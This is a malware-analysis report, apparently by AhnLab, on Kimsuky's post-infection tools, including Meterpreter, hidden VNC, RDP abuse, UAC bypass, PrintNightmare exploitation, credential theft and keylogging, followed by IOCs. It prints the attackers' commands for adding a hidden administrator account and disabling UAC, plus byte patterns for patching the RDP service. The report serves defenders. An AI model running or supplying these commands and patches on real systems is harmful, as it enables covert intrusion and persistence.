Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Metasploit also provides a backdoor that performs actual malicious behaviors like Beacon from Cobalt
Strike, called Meterpreter. Like Beacon, it can be created in both Staged and Stageless methods. This
means that both Cobalt Strike and Metasploit can be used as penetration test tools to control the infected
PC and steal information.
The Kimsuky group mainly uses the stager method. Instead of including Meterpreter in the distributed file,
a shellcode is included to download a backdoor containing Meterpreter. To be more precise, the
downloaded file is metsrv.dll, the basic backdoor of Meterpreter. The file is created to be executed with
the Reflective DLL injection method as shown below. One characteristic of the method is that the start
address (the part starting with MZ) can operate as a code. The code that newly loads the DLL file itself
into the memory through MZ is executed. When the loading is complete (in other words, when the
Reflective DLL injection method is finished), the file hands over the control to run the actual code of
metsrv.dll. Note that Meterpreter is modularized depending on its features. Besides the default metsrv.dll,
it supports various extension DLLs for privilege escalation or additional tasks.
Most of the samples collected are x64 DLL, executed by being loaded through the regsvr32.exe process.
A glance at the file shows that the strings are obfuscated like other malware of the Kimsuky group. The
following shows a routine that injects the stager shellcode to rundll32.exe.
Figure 59. Decoding routine similar to AppleSeed, Kimsuky group's another backdoor
The injected shellcode downloads Meterpreter on the memory from the 79.133.41[.]237:4001 URL and
executes it. The following is the Meterpreter DLL downloaded from the Metasploit C&C server, which is
similar to the binary found in the memory area mentioned above.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 60. Meterpreter DLL being downloaded
The downloaded binary is the same as the source code of the open source Meterpreter.
Figure 61. server_setup() function that is initial routine of downloaded metsrv.dll
5.1.2. HVNC (TinyNuke)
TinyNuke, also known as Nuclear Bot, is a banking malware discovered in 2016. It includes features such
as HVNC (HiddenDesktop/VNC), reverse SOCKS4 proxy, and form grabbing. As its source code was
revealed in 2017, TinyNuke is used by various attackers, and the HVNC feature is partially borrowed by
other malware such as AveMaria and BitRAT.
Among the various features of TinyNuke that is being distributed, only the HVNC feature is enabled. A
difference between normal VNC and HVNC used by TinyNuke is that the user does not realize that the
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
PC is infected and its screen is being controlled. The following shows the process tree when HVNC is
enabled.
Figure 62. Process tree upon using HVNC
In the process tree is explorer.exe (PID: 3140), which is the child process of explorer.exe (PID: 2216). The
attacker is able to control the screen via the new explorer.exe (PID: 3140), and the GUI (Graphical user
interface) of the process created while the attacker is controlling the target PC is not visible on the target
PC screen. This type of VNC remote access is called HVNC (Hidden Virtual Network Computing).
Another characteristic of the malware is that it uses the reverse VNC method. VNC consists of a server
and a client. It installs the VNC server on the control target system, and the user who wishes to control
the system remotely uses the VNC client. It gains control of the VNC client by going through the VNC
server installed on the remote control target system.
In a normal VNC environment, it attempts to access the remote control target (VNC server) via the VNC
client. However, HVNC of TinyNuke attempts to access the client from the server with the Reverse VNC
feature. This means that when HVNC of the infected system is run, the awaiting attacker accesses the
designated C&C server and uses the VNC client (server for HVNC) on the C&C server to gain remote
control. It is assumed that this is to bypass firewalls such as Reverse Shell that blocks internal access
from the outside and to support communication in a private IP environment.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 63. Attacker's HVNC screen
Note that TinyNuke uses "AVE_MARIA" string for verification when establishing the HVNC communication
between the server and the client. This means that when "AVE_MARIA" string is sent from the HVNC
client to the server, the server verifies the name, and the HVNC communication can be enabled if
"AVE_MARIA" is correct.
Figure 64. AVE_MARIA string used in HVNC
This is identical to that of HVNC used by Kimsuky group. However, recently there have been HVNCs
using the "LIGHT's BOMB" string.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 65. "LIGHT'S BOMB" string used in place of AVE_MARIA
5.1.3. TightVNC
Another VNC malware distributed via AppleSeed backdoor is TightVNC. TightVNC is an open-source
VNC utility, and the attacker customizes it to use it. TightVNC can be regarded as a normal VNC utility,
but it is different in that it supports the reverse VNC feature discussed earlier.
TightVNC consists of tvnserver.exe, the server module, and tvnviewer.exe, the client module. In a normal
environment, it installs tvnserver on the remote control target and accesses the target using tvnviewer in
the user environment. In order to use the Reverse VNC feature, it executes tvnviewer as a listening mode
on the client, then uses tvnserver that is installed as a service on the access target system to set the client
address using controlservice and connect commands for access gain.
The Kimsuky group distributes tvnserver, and it is customized so that the Reverse VNC feature can be
used in the infected environment without installing a service. As such, simply running tvnserver will allow
the attacker to access tvnviewer that operates on the C&C server and gain control of the screen of the
infected system.
Figure 66. Reverse VNC communications using tvnviewer
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
5.1.4. RDP Wrapper
Meterpreter and VNC malware types were mainly discussed in earlier parts, yet the attacker also uses
RDP Wrapper for remote control. RDP Wrapper is an open source utility that supports the remote desktop
feature. Since Windows OS does not support remote desktop in all versions, RDP Wrapper needs to be
installed to enable the feature. The Kimsuky group installs RDP Wrapper to multiple systems infected with
AppleSeed.
5.2. RDP Related
5.2.1. Adding RDP User
Among the earlier-mentioned PIF droppers, there was the type that drop and execute malware which
perform the role of adding RDP user. It adds an account with the following credential.
- User Account: default
- Password: 1qaz2wsx#EDC
It adds an account by executing simple command line commands like shown below. When the commands
are over, that is, when the malware achieves its aim, it deletes itself using a batch file.
> net user /add default 1qaz2wsx#EDC
> net localgroup Administrators default /add
> net localgroup "Remote Desktop Users" default /add
"HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v default /t REG_DWORD /d 0 /f
> reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t
REG_DWORD /d 0 /f
The commands use the net command to register a user named "default". The user is included in the admin
group as well as the RDP group, so it appears that the account will later be used to access RDP. The
malware then registers the added user account to the SpecialAccounts registry key so that the user cannot
know that an account has been added in the login screen.
Seeing how the admin privilege is required by default to add a user account, the malware and the PIF
dropper itself may have been run by other malware via 'run as administrator' after going through the
privilege escalation process instead of the user clicking it. As one needs admin privilege to add user
privilege, there have been cases where the malware with the same feature (of adding user accounts) was
executed by the privilege escalation malware. This privilege escalation malware will be discussed later in
this article.
5.2.2. RDP Patcher
Only 1 RDP per PC is allowed in a normal Windows environment. Because of this, even if the attacker
knows the account credentials of the infected system, he or she cannot make an RDP connection without
the user realizing it if the user is performing a task locally or a user is currently accessing the system using
RDP. This is because if the attacker attempts to connect with RDP while the current user is in the
environment, the current user will be logged off.
To bypass such instances, the attacker may patch the memory of Remote Desktop Service to allow
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
execution of multiple remote desktop sessions. For instance, Mimikatz supports such a feature with the
ts::multirdp command. The command finds the DLL address in the current running Remote Desktop
Service (svchost.exe that loaded termsrv.dll) and searches a certain binary pattern. As the pattern is
different for each Windows version, each version has a defined search pattern. When the defined pattern
exists, the malware patches it into a new one, allowing multiple RDP to happen.
The Kimsuky group uses a type of malware that specializes in the memory patch for multiple RDP. Like
most of the malware strains used by the group, it is DLL and is run by regsvr32.exe. The currently
discovered sample is an x64 binary, so it only operates in the x64 Windows architecture. Its search and
patch patterns are similar to the source code of Mimikatz, but one difference is that it also supports the
Windows XP version. The search patterns and patterns to be patched in each Windows version are as
follows:
Version (x64)
Search Pattern
Patch Pattern
Windows XP
(2600) or above
{0x83, 0xf8, 0x02, 0x7f}
{0x90, 0x90}
Windows Vista
( 6000 )
{0x8b, 0x81, 0x38, 0x06, 0x00,
0x00, 0x39, 0x81, 0x3c, 0x06,
0x00, 0x00, 0x75};
{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff,
0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb};
Windows 7
( 7600 )
{0x39, 0x87, 0x3c, 0x06, 0x00,
0x00, 0x0f, 0x84};
{0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff,
0xff, 0xff, 0x7f, 0x90, 0x90};
Windows 8.1
( 9600 )
{0x39, 0x81, 0x3c, 0x06, 0x00,
0x00, 0x0f, 0x84};
{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff,
0xff, 0xff, 0x7f, 0x90, 0x90};
Windows 10,
Version 1803
( 17134 )
{0x8b, 0x99, 0x3c, 0x06, 0x00,
0x00, 0x8b, 0xb9, 0x38, 0x06,
0x00, 0x00, 0x3b, 0xdf, 0x0f,
0x84};
{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff,
0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90,
0x90, 0xe9};
Windows 10,
Version 1809
(17763) or above
{0x8b, 0x81, 0x38, 0x06, 0x00,
{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff,
0x00, 0x39, 0x81, 0x3c, 0x06,
0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90,
0x00, 0x00, 0x0f, 0x84};
0x90, 0x90, 0x90, 0x90};
Table 28. RDP service search and patch patterns
5.3. Privilege Escalation
5.3.1. UACMe
The privilege escalation routine for AppleSeed that was mentioned earlier shows that if the following
registry keys all have a value of 0 (meaning that UAC is disabled), the malware executes recursion with
the admin privilege. In a normal environment, the keys are not disabled because of security reasons.
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
 ConsentPromptBehaviorAdmin
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
 PromptOnSecureDesktop
After installing AppleSeed, the attacker used manually patched UACMe to disable UAC. UACMe is an
open-source project that is made public on GitHub. It is a command line tool that incorporates known UAC
Bypass Methods. In other words, it is an open-source tool that supports dozens of UAC Bypass features.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
The attacker built UACMe in the form of DLL so that it can be run with regsvr32.exe like AppleSeed and
used the ICMLuaUtil interface among UACMe features to bypass UAC.4
Figure 67. UAC Bypass technique using ICMLuaUtil
The technique uses a certain undocumented method that is exported from the ICMLuaUtil interface. Like
the ShellExecute() API, the method receives the pathname of the target that will be run as an argument
and executes it. Unlike the API, it executes it as admin privilege without the UAC pop-up. As the method
is not patched even in the latest Windows version, the technique is used by multiple malware strains. For
instance, as Pitou Boot Kit malware needs admin privilege to infect MBR and reboot the system, it uses
CMSTPLUA to do so. GandCrab ransomware that was distributed in the NSIS packer form in the past
also used CMSTPLUA.5
- CMSTPLUA : { 3E5FC7F9-9A51-4367-9063-A120244FBEC7 }
- ICMLuaUtil : { 6EDD6D74-C007-4E75-B76A-E5740995E24C }
https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i=8709a7d6-561a-4df3-8bd1-
a5fedce07717 (Analysis Report on Privilege Escalation Using UAC Bypass)
https://asec.ahnlab.com/ko/1160/ (GandCrab v4.3 distributed in the Nullsoft installer form)
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
The malware executes the command line commands shown below. When the malware is executed by
being loaded through regsvr32.exe, it automatically bypasses UAC by using a certain method of
ICMLuaUtil and executes the command line commands to configure registry keys that disable UAC.
cmd /c
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
PromptOnSecureDesktop /t REG_DWORD /d 0 /f
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
5.3.2. CVE-2021-1675 Vulnerability
The Kimsuky group has also been using the privilege escalation vulnerability. The malware installed
through AppleSeed escalates privilege by using the CVE-2021-1675 vulnerability.
CVE-2021-1675 is a privilege escalation vulnerability of the Windows Printer Spooler service. It can exploit
the vulnerability of the AddPrinterDriverEx() API to operate a malicious DLL designated by the attacker
with escalated privilege. AddPrinterDriverEx() is a function that installs local or remote printer drivers and
connects configuration, data, and driver files. If sending '0x8014' value to the fourth argument
(dwFileCopyFlags) of the API to bypass the privilege verification of 'SeLoadDriverPrivilege,' and entering
a malicious DLL path in the DriverInfo struct of pConfigFile to call, the malicious DLL that is sent as the
argument is loaded and the attacker can execute the malicious DLL with escalated privilege.
The malware used by the Kimsuky group is created based on the following GitHub open source, but there
certain differences are noticeable when comparing it with the original source code.6
Figure 68. CVE-2021-1675 vulnerability routine
One noticeable difference is that while the original source code uses the EnumPrinterDrivers() API to
https://github.com/hlldz/CVE-2021-1675-LPE/
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
pinpoint the location of the printer driver file unidrv.dll in the infected system, this malware contains the
path shown below, hard-coded. The path is also found on the current latest version of Windows
10.0.19043.1348, but it might be different depending on the OS version. It seems that the attacker had
already collected the information of the target PC in advance and developed the malware based on the
information.
- Hard-coded Path:
c:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_c62e9f8067f98247\Amd64\UNID
RV.DLL
The DLL registered through the malware was collected with the name lala.dll, which disables UAC and
adds accounts. The aforementioned UACMe uses UAC Bypass to configure the following registry and
disable UAC with escalated privilege, and lala.dll also performs the same feature.
Registry Path
Settings Value (Description)
HKLM\SoftWare\Microsoft\Windows\CurrentVersion\
Policies\System\ConsentPromptBehaviorAdmin
0 (Not verified upon admin privilege
escalation)
HKLM\SoftWare\Microsoft\Windows\CurrentVersion\
0 (Not switched to secure desktop upon
Policies\System\PromptOnSecureDesktop
admin privilege escalation)
Table 29. Registry value change related to admin privilege escalation
One difference the malware has with UACMe is that it additionally adds an RDP user account after
privilege escalation. The account added is the same as the one from the malware that adds the user
account mentioned earlier. Yet while the sample created through the PIF dropper uses the command line
commands, the current one sets the registry using the API.
Figure 69. Adding user account using API
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
One thing to note is that the DLL has the following PDB path. It seems that the Kimsuky group is using
the CVE-2021-34527 (PrintNightmare) vulnerability to launch their attacks, with the sample probably being
used for attacks exploiting the vulnerability.
- PDB Path: E:\Peacock\exploit\Privilege Escalation\night dll add new admin user\CVE-2021-34527master\nightmare-dll\x64\Release\nightmare.pdb
5.4. Collecting Information
5.4.1. Mimikatz
The reason the attacker escalates privilege by using tools such as UACMe is to take over the entire
domain via lateral movement in the internal infrastructure. To move laterally within the system, one needs
to collect account credentials. Mimikatz is one of the main tools used for such a purpose as it needs to be
run as administrator to steal account credentials within the system.7 The attacker additionally installs
Mimikatz, or Powerkatz, to be precise.
Figure 70. Command options upon running Powerkatz
https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i=cc8cf212-f3ca-4134-812d-
0e471d888923 (Analysis Report of the Internal Propagation Technique Using Mimikatz)
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
5.4.2. Collecting Chrome Account Credentials
While the following malware is built incorrectly and does not operate normally, it can be used to steal
information. Like most of the malware strains used by the group, it is DLL and is run by regsvr32.exe. It
steals cookie information and user account credentials stored in the Chrome web browser and saves in a
text form in the following path.
- Save Path for Information Stolen from Chrome: C:\ProgramData\Adobe\mui.db
The information that is parsed and decrypted is saved as domain, name, path, and value if it is a cookie.
For account credentials, they are saved as url, user, and pass. If the malware works normally, the saved
results are likely to be stolen by the backdoor such as AppleSeed or PebbleDash and sent to the C&C
server.
Figure 71. Chrome web browser cookies and account credentials saved in mui.db file
5.4.3. Keylogger
Keylogger is a DLL-form malware that is also run by regsvr32.exe. As seen below, the malware was
collected from inside the AhnLab folder of the ProgramData folder, and it existed as a file named install.cfg.
- Path for Collecting Keylogger Malware: %ALLUSERSPROFILE%\ahnlab\install.cfg
The attacker also disguised results and settings files below as AhnLab product-related settings files by
creating them with names such as ahnlab.cfg and uninstall.cfg.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
When Keylogger is executed for the first time, it checks for the current privilege. It injects itself as DLL into
winlogon.exe in case of admin privilege and explorer.exe if not. Upon being run, it creates and scans the
following mutex to prevent concurrent execution.
- Mutex: windows certs server [pid]
It checks the following path for the existence of uninstall.cfg. If the file exists, keylogging is stopped. The
malware does not directly communicate with the C&C server and only performs keylogging features. As
such, the attacker may send a command to stop keylogging through backdoor such as AppleSeed or
PebbleDash, creating a file in the path shown below.
- Keylogging Command Data File: %ALLUSERSPROFILE%\AhnLab\uninstall.cfg
Keylogger malware uses GetAsyncKeyState() and GetKeyState() functions to steal the current user's
keyboard input information and saves it in a temporary file of the %TEMP% path. Keylogger then
periodically copies the keylogging data saved in the %TEMP% path to the path shown below. It appears
that the saved results are stolen by the backdoor and sent to the C&C server.
- Keylogging Data File: %ALLUSERSPROFILE%\AhnLab\ahnlab.cfg
Figure 72. Keylogging data saved in ahnlab.cfg file
5.5. Others
5.5.1. Proxy Malware
AppleSeed also creates Proxy malware. The malware has the PDB path named localproxy as shown
below.
- PDB Path: D:\Troy\FProxy\output\x64\localproxy.pdb
As its name suggests, the malware has a proxy feature and receives 2 IP addresses and port numbers
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
from the command line argument to relay them. You can see from the routine below that it simply sends
the buffer it has received back to the remote address without going through any conversion processes.
- Command Line Argument: help:localproxy.exe RemoteIP RemotePort InternelIP InternelPort
Figure 73. Proxy Routine
Currently, no command line logs can be seen via the ASD infrastructure, but the ASEC team was able to
find the history of the malware communicating with the URL shown below. It is identical to the C&C server
address and the port number used in Meterpreter. While the proxy itself can be used in various forms, it
appears that it was used to relay C&C communications of Meterpreter.
- Remote Access History: 27.255.81[.]109:3015
AhnLab's Response
The alias and the engine version information of AhnLab products are shown below. Even if the threat
group's activities were recently discovered, AhnLab products may have detected related malware in the
past. The ASEC team is tracking the activities of the group and is responding to related malware types,
but there may be unidentified alterations that are yet to be detected.
Backdoor/JS.Akdoor (2021.04.23.00)
Backdoor/Win.Agent.R421553 (2021.10.14.03)
Backdoor/Win.Akdoor.C4715493 (2021.10.22.02)
Backdoor/Win.Akdoor.C4715520 (2021.10.22.02)
Backdoor/Win.Akdoor.R417157 (2021.04.23.00)
Backdoor/Win.AppleSeed.C4635545 (2021.10.14.03)
Backdoor/Win.AppleSeed.C4646719 (2021.10.14.02)
Backdoor/Win.AppleSeed.C4646724 (2021.10.14.02)
Backdoor/Win.AppleSeed.C4646725 (2021.10.14.02)
Backdoor/Win.AppleSeed.C4699440 (2021.10.14.03)
Backdoor/Win.AppleSeed.C4702267 (2021.10.15.01)
Backdoor/Win.AppleSeed.C4702268 (2021.10.15.01)
Backdoor/Win.AppleSeed.C4705211 (2021.10.18.03)
Backdoor/Win.AppleSeed.C4713932 (2021.10.21.00)
Backdoor/Win.AppleSeed.C4719084 (2021.10.24.01)
Backdoor/Win.AppleSeed.R335261 (2021.10.15.01)
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Backdoor/Win.AppleSeed.R335738 (2020.05.09.00)
Backdoor/Win.AppleSeed.R336437 (2020.05.14.00)
Backdoor/Win.AppleSeed.R441519 (2021.10.14.03)
Backdoor/Win.AppleSeed.R444289 (2021.10.14.03)
Backdoor/Win.AppleSeed.R445451 (2021.10.15.01)
Backdoor/Win.AppleSeed.R445453 (2021.10.15.01)
Backdoor/Win.AppleSeed.R445842 (2021.10.18.03)
Backdoor/Win.Keylogger.R419909 (2021.10.14.03)
Backdoor/Win.Meterpreter.C4705209 (2021.10.18.03)
Backdoor/Win.VNC.C4589952 (2021.10.14.03)
Backdoor/Win32.Agent.R338775 (2020.06.01.03)
Backdoor/Win32.Kimsuky.R341619 (2020.06.25.03)
Backdoor/Win64.Akdoor.C4148267 (2020.07.01.04)
Backdoor/Win64.Akdoor.C4176420 (2020.08.05.05)
Backdoor/Win64.Akdoor.C4250525 (2020.12.04.04)
Backdoor/Win64.Akdoor.C4251494 (2020.12.08.03)
Backdoor/Win64.Akdoor.R179345 (2016.04.22.05)
Backdoor/Win64.Akdoor.R181647 (2016.05.20.00)
Backdoor/Win64.Akdoor.R197899 (2017.04.03.03)
Backdoor/Win64.Akdoor.R357381 (2020.12.08.06)
Backdoor/Win64.Keylogger.R353447 (2020.10.20.04)
Downloader/Win.Agent.C4510706 (2021.10.15.00)
Downloader/Win64.Agent.C4318031 (2021.02.01.04)
Dropper/JS.Agent (2021.08.26.03)
Dropper/JS.Akdoor (2021.10.07.00)
Dropper/JS.Generic (2021.05.08.00)
Dropper/Win.Agent.C4520969 (2021.10.15.00)
Dropper/Win.Akdoor.C4656487 (2021.09.28.00)
Dropper/Win.AppleSeed.C4699439 (2021.10.14.03)
Dropper/Win32.Infostealer.R332952 (2020.04.16.08)
Dropper/Win64.Akdoor.R194398 (2017.01.26.00)
Dropper/WSF.Agent (2021.05.13.02)
Exploit/Win.CVE-2021-1675.C4584875 (2021.08.09.03)
Exploit/Win.CVE-2021-34527.R436236 (2021.08.09.03)
Malware/Gen.Reputation.C4269991 (2020.12.23.04)
Trojan/Win.Agent.C4382841 (2021.10.14.03)
Trojan/Win.Agent.C4457973 (2021.10.15.01)
Trojan/Win.Agent.C4520953 (2021.10.14.03)
Trojan/Win.Agent.C4522294 (2021.06.11.02)
Trojan/Win.Agent.C4524918 (2021.10.14.03)
Trojan/Win.Agent.C4705973 (2021.10.19.00)
Trojan/Win.Agent.C4714244 (2021.10.21.03)
Trojan/Win.Agent.R416026 (2021.10.14.03)
Trojan/Win.Agent.R420433 (2021.10.14.03)
Trojan/Win.Agent.R422617 (2021.10.14.03)
Trojan/Win.Agent.R425110 (2021.10.14.03)
Trojan/Win.Agent.R436488 (2021.10.14.03)
Trojan/Win.Akdoor.C4522181 (2021.10.14.03)
Trojan/Win.Akdoor.C4522184 (2021.06.11.00)
Trojan/Win.Akdoor.C4589941 (2021.08.13.03)
Trojan/Win.Akdoor.C4596140 (2021.08.18.00)
Trojan/Win.Akdoor.C4700226 (2021.10.15.00)
Trojan/Win.Akdoor.C4728343 (2021.10.27.00)
Trojan/Win.Akdoor.R425112 (2021.10.14.03)
Trojan/Win.Akdoor.R426485 (2021.10.15.00)
Trojan/Win.Akdoor.R436752 (2021.08.13.03)
Trojan/Win.Akdoor.R445441 (2021.10.15.01)
Trojan/Win.Akdoor.R446906 (2021.10.24.02)
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Trojan/Win.Appleseed.R428102 (2021.10.15.01)
Trojan/Win.Generic.C4609881 (2021.08.27.02)
Trojan/Win.HVNC.C4635546 (2021.10.14.03)
Trojan/Win.Keylogger.C4719085 (2021.10.24.01)
Trojan/Win.KeyLogger.R422003 (2021.10.14.03)
Trojan/Win.LightShell.R435857 (2021.08.07.00)
Trojan/Win.LightShell.R436719 (2021.08.13.02)
Trojan/Win.LightShell.R439086 (2021.10.14.03)
Trojan/Win.LightShell.R439839 (2021.09.02.03)
Trojan/Win.LightShell.R445352 (2021.10.15.00)
Trojan/Win.Meterpreter.R430231 (2021.10.14.03)
Trojan/Win.Mimikatz.C4521006 (2021.06.09.02)
Trojan/Win.Mimikatz.C4717867 (2021.10.23.01)
Trojan/Win.NukeSped.R415643 (2021.10.14.03)
Trojan/Win.Proxicon.R436042 (2021.08.09.03)
Trojan/Win.RDPatcher.R445454 (2021.10.15.01)
Trojan/Win.Stealer.C4768269 (2021.11.12.03)
Trojan/Win.Tinukebot.R415647 (2021.10.14.03)
Trojan/Win.TinyNuke.C4633235 (2021.10.14.03)
Trojan/Win.TinyNuke.C4702254 (2021.10.15.01)
Trojan/Win.TinyNuke.R435917 (2021.10.14.03)
Trojan/Win.VNC.C4318018 (2021.10.14.03)
Trojan/Win.VNC.C4589940 (2021.10.14.03)
Trojan/Win.VNC.C4633124 (2021.09.16.00)
Trojan/Win.VNC.R435919 (2021.10.14.03)
Trojan/Win.VNC.R436747 (2021.10.14.03)
Trojan/Win32.Agent.C4003499 (2020.02.29.06)
Trojan/Win32.Agent.C4179369 (2020.08.12.03)
Trojan/Win32.Agent.R344880 (2020.07.16.00)
Trojan/Win32.Agent.R350149 (2020.09.03.08)
Trojan/Win32.Agent.R353325 (2020.10.17.09)
Trojan/Win32.Agent.R357752 (2020.12.19.00)
Trojan/Win32.Akdoor.C2030137 (2017.07.06.02)
Trojan/Win32.Akdoor.R183070 (2016.06.09.07)
Trojan/Win32.Akdoor.R183787 (2016.07.22.02)
Trojan/Win32.Akdoor.R333041 (2020.04.17.00)
Trojan/Win32.Infostealer.R338043 (2020.05.26.02)
Trojan/Win32.MalPacked.C4196972 (2020.09.17.00)
Trojan/Win32.Rdpwrap.R232017 (2018.11.26.07)
Trojan/Win64.Agent.C4318029 (2021.02.01.04)
Trojan/Win64.Agent.R337075 (2020.05.20.10)
Trojan/Win64.Agent.R337893 (2020.05.25.03)
Trojan/Win64.Agent.R338576 (2020.05.29.04)
Trojan/Win64.Agent.R350150 (2020.09.03.09)
Trojan/Win64.Agent.R354559 (2020.11.01.00)
Trojan/Win64.Agent.R367595 (2021.02.23.00)
Trojan/Win64.Akdoor.R354720 (2020.11.04.00)
Trojan/Win64.Akdoor.R355472 (2020.11.12.04)
Trojan/Win64.Loader.C4019677 (2020.03.18.00)
Trojan/WSF.Runner (2020.11.12.04)
Unwanted/Win.Rdpwrap.C2410573 (2021.04.20.00)
Unwanted/Win32.Rdpwrap.C2632304 (2018.07.26.01)
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Conclusion
Kimsuky group is continuously launching social engineering attacks, such as spear phishing, against
companies, public institutions, and individual users. Recent cases have shown frequent uses of malware
AppleSeed and PebbleDash. Such backdoors can stay in the system, receive commands from the
attacker, and perform various malicious tasks. As various malware strains for remote control and collecting
information are additionally installed, companies and users targeted by the Kimsuky group are at risk of
having key information within the system stolen.
When there is a suspicious-looking email in the inbox, users must refrain from opening the attached files
within the email. Also, anti-malware solutions, such as AhnLab V3, must be regularly updated to the latest
version to prevent malware infections.
IOC (Indicators of Compromise)
Some IOCs were referred to third-party analysis reports. Thus, some were not verified as the sample
could not be confirmed. The content may be updated without notice if new information is found.
File Path and Name
The file paths and names used from the threat group are listed below. Some malware and tool file may
have the same name as that of normal files.
Script
image_confirm_v2.wsf
Biden Administration Security Figures.wsf
Plan for Establishing Control Tower in North Korea Denuclearization.wsf
2021 **** Missions Service Survey.hwp.js
Korean-Japan Relations.js
*** News 2021-05-07.pdf jse
PIF Dropper
JR_210604_R1***_F***_Pf***.pif - (Certain strings blurred as ***)
Colon Cancer Case.pif
Progress Check_211013.pdf file
211014-915mm(0deg).h5.pif
210927 Covid-19 Response (Boryeong-Taean 1)_merged_edited.PIF
1. 2021 Business Plan (Supplemented by referencing materials from Installation Agency) - 210316-1.pif
ROK-US summit (May 21st) Reference Material (edited).pif
2021 *** Work Report Edited.pif
Downloader
%ALLUSERSPROFILE%\Intel\Driverdriver.cfg
%ALLUSERSPROFILE%\Intel\driver.cfg
%APPDATA%\Intel\Driverdriver.cfg
AppleSeed Installation Path
%ALLUSERSPROFILE%\Software\Ahnlab\Service\AutoService.dll
%ALLUSERSPROFILE%\Software\ControlSet\Service\ServiceScheduler.dll
%ALLUSERSPROFILE%\Software\Defender\Windows\Update\AutoUpdate.dll
%ALLUSERSPROFILE%\Software\ESTsoft\Common\ESTCommon.dll
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
%ALLUSERSPROFILE%\Software\KakaoTalk\KaoUpdate.ini
%ALLUSERSPROFILE%\Software\Microsoft\AvastAntiVirus\AvastUpdate.dll
%ALLUSERSPROFILE%\Software\Microsoft\Avg\AvgSkin.dll
%ALLUSERSPROFILE%\Software\Microsoft\Network\NetworkService.dll
%ALLUSERSPROFILE%\Software\Microsoft\Printer\PrinterService.dll
%ALLUSERSPROFILE%\Software\Microsoft\Service\TaskScheduler.dll
%ALLUSERSPROFILE%\Software\Microsoft\Windows\AutoDefender\UpdateDB.dll
%ALLUSERSPROFILE%\Software\Microsoft\Windows\AutoPatch\patch.dll
%ALLUSERSPROFILE%\Software\Microsoft\Windows\Chrome\GoogleUpdate.dll
%ALLUSERSPROFILE%\Software\Microsoft\WIndows\Defender\AutoCheck.dll
%ALLUSERSPROFILE%\Software\Microsoft\Windows\Defender\AutoUpdate.dll
%ALLUSERSPROFILE%\Software\Microsoft\Windows\Defender\update.dll
%ALLUSERSPROFILE%\Software\Microsoft\Windows\Explorer\FontChecker.dll
%ALLUSERSPROFILE%\Software\Microsoft\Windows\FontChecker.dll
%ALLUSERSPROFILE%\Software\Microsoft\Windows\MDF\WDFSync\WDFSync.dll
%ALLUSERSPROFILE%\Software\Microsoft\Windows\MetaSec\MetaSecurity.dll
%ALLUSERSPROFILE%\Software\Microsoft\Windows\Patch\patch.dll
%ALLUSERSPROFILE%\Software\Microsoft\Windows\Patch\plugin.dll
%ALLUSERSPROFILE%\Software\Microsoft\Windows\Secrity\AutoCheck.dll
%ALLUSERSPROFILE%\Software\Office\Update.dll
%APPDATA%\ESTsoft\AlLUpdat\AlCommon.dll
%APPDATA%\ESTsoft\AlLUpdate\AlCommon.dll
%APPDATA%\ESTsoft\Common\ESTCommon.dll
%APPDATA%\ESTsoft\Common\ESTUpdate.exe
%APPDATA%\ESTsoft\Common\ko-kr.dll
%APPDATA%\ESTsoft\updat\ESTCommon.dll
%APPDATA%\Microsoft\Windows\Defender\AutoUpdate.dll
%APPDATA%\Microsoft\Windows\Defender\patch.dll
Meterpreter
%ALLUSERSPROFILE%\edge\mtp.db
%ALLUSERSPROFILE%\Intel\1060\update1060.cfg
%ALLUSERSPROFILE%\intel\bin\update.cfg
%ALLUSERSPROFILE%\m.db
%ALLUSERSPROFILE%\ma.dat
%ALLUSERSPROFILE%\ma.db
%ALLUSERSPROFILE%\msedge\mtp.db
%ALLUSERSPROFILE%\mt79.dat
%ALLUSERSPROFILE%\mtp.dat
%ALLUSERSPROFILE%\mtp.db
%ALLUSERSPROFILE%\s\mtp.db
%ALLUSERSPROFILE%\update.db
%SystemDrive%\mav.db
%SystemDrive%\netclient\k.txt
%SystemDrive%\netclient\km.xml
HVNC
%ALLUSERSPROFILE%\mac\hvnc.db
%ALLUSERSPROFILE%\s\hvnc.db
